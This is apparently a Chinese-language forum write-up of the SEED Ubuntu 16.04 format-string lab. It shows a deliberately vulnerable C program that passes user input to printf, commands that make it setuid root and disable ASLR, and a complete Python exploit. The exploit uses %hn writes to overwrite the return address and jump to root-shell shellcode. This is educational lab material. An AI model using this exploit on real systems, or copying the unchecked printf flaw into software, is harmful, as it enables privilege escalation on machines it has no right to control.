-
-
[原创]seedubuntu格式化字符串漏洞实验
-
2021-6-13 16:52 7145
-
环境
Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机。
有漏洞的程序prog2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> void fmtstr(char * str ) { unsigned int * framep; unsigned int * ret; / / copy ebp into framep asm( "movl %%ebp, %0" : "=r" (framep)); ret = framep + 1 ; / * print out information for experiment purpose * / printf( "The address of the input array: 0x%.8x\n" , (unsigned) str ); printf( "The value of the frame pointer: 0x%.8x\n" , (unsigned)framep); printf( "The value of the return address(before): 0x%.8x\n" , * ret); printf( str ); printf( "\nThe value of the return address(after): 0x%.8x\n" , * ret); } int main() { FILE * badfile; char str [ 200 ]; badfile = fopen( "badfile" , "rb" ); fread( str , sizeof(char), 200 , badfile); fmtstr( str ); return 1 ; } |
漏洞分析
在程序的第8行,把ebp寄存器的值放在变量framep中,后面会把该值打印出来,这个变量的目的是找到fmtstr()函数的返回地址存放的位置:ebp+4时返回地址的内存地址,此外,还打印了调用printf()函数前后该返回地址存放的内容,目的是看内容是否发生改变,如果没有说明攻击存在问题。
漏洞利用
编写shell脚本,编译源程序,开启栈可执行;
更改目标程序的运行权限;
关闭地址随机化;
向badfile写入数据,定位str数组在栈中位置;
1 2 3 4 5 | gcc - z execstack - o p2 prog2.c sudo chown root p2 sudo chmod 4755 p2 sudo sysctl - w kernel.randomize_va_space = 0 echo $(printf "\xaa\xaa\xaa\xaa@@@@\xbb\xbb\xbb\xbb" ) % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x : % . 8x > badfile |
运行结果如下,可以看到0xaaaaaaaa.是在第17被打印出来的,因此前面需要16个%x才能到达第一个地址。
使用Python来构造攻击字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | #!/usr/bin/python3 import sys # This shellcode creates a local shell local_shellcode = ( "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00" ).encode( 'latin-1' ) N = 200 #The address of the input array: 0xbfffed04 #The value of the frame pointer: 0xbfffece8 #addr_array和frame_pointer根据上面的测试结果确定 addr_array = 0xbfffed04 frame_pointer = 0xbfffece8 # Fill the content with NOP's content = bytearray( 0x90 for i in range (N)) # Put the code at the end start = N - len (local_shellcode) content[start:] = local_shellcode # Put the address at the beginning addr1 = frame_pointer + 4 + 2 addr2 = frame_pointer + 4 #ret address content[ 0 : 4 ] = (addr1).to_bytes( 4 ,byteorder = 'little' ) content[ 4 : 8 ] = ( "@@@@" ).encode( 'latin-1' ) content[ 8 : 12 ] = (addr2).to_bytes( 4 ,byteorder = 'little' ) # Calculate the value of C C = 16 - 1 # Construct the format string addr_array + = 0x90 #shellcode offset high = addr_array >> 16 low = addr_array % 0x10000 small = high - 12 - C * 8 large = low - high s = "%.8x" * C + "%." + str (small) + "x" + "%hn" \ + "%." + str (large) + "x" + "%hn" + "\n" fmt = (s).encode( 'latin-1' ) content[ 12 : 12 + len (fmt)] = fmt # Write the content to badfile file = open ( "badfile" , "wb" ) file .write(content) file .close() |
运行python脚本后,执行源程序,最终效果:
赞赏
他的文章
看原图